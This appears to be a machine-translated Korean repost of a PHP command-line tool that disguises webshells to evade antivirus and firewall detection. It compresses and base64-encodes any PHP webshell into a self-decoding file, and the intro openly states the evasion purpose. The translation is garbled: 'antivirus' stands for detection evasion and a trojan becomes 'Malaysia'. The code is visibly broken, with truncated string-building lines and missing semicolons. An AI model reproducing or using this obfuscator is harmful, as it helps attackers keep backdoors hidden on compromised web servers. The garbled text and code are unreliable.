>백엔드 개발 >PHP 튜토리얼 >PHP 쉘 매우 강력한 바이러스 백신 및 크기 축소 도구 구현 코드

PHP 쉘 매우 강력한 바이러스 백신 및 크기 축소 도구 구현 코드

高洛峰
高洛峰원래의
2016-12-01 14:46:391436검색

lostwolf 작성
이것은 웹쉘이 아닙니다. 단지 웹쉘 안티 바이러스 도구입니다
원본 웹쉘을 사용하지 마세요
안티바이러스 phpwebshell만
이 도구는 cli 모드에서 실행됩니다!
파괴할 수 없는 파일 콘텐츠 필터링이 있는 경우 이 도구를 사용하여 말레이시아를 죽이는 것을 피할 수 있습니다!
모든 PHP 웹쉘은 이 도구로 인코딩한 후 일부 국내 BitTorrent 방화벽을 우회할 수 있습니다.
코드 복사 코드는 다음과 같습니다:
/*
제목: PHP shell nokill T00L
블로그: explore-db.blogcn.com
*/
error_reporting(0)
@ini_set('memory_limit','-1')
set_time_limit(0); 🎜> $toolname="$argv[0]";
if ($argc<2) {
baner($toolname)
die
}
$input_file= Trim( $argv [1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file,$output_file)
echo "PHP shell nokill T00Lrn";
echo "블로그: explore-db.blogcn.comrn";
echo "입력: {$input_file}rn";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file ;
echo "[+] 성공!rn";
echo "{$file_full_path}"에 저장됨"
} else {
echo "PHP 쉘 nokill T00Lrn"; 🎜> echo "블로그: explore-db.blogcn.comrn";
die("[-] 실패! $input_file 파일이 존재하지 않습니다.")
}
function No_kill_c0de($input_file,$ 출력_파일) {
$no_whitespace=php_strip_whitespace($input_file);
$no_php_tag=trim(trim(trim($no_whitespace,'' );
$enfile=base64_encode(gzdeflate($no_php_tag))
$shellcode="x3cx3fx70x68x70xdxa";
$shellcode.='$enfile='.'"'." .' "'.';'."xdxa";
$shellcode.="";
$shellcode.="x3fx3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "PHP 쉘 nokill T00Lrn";
echo "블로그: explore-db.blogcn.comrn"
echo "사용법: {$toolname} phpwebshellrn" ;
}
?>

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.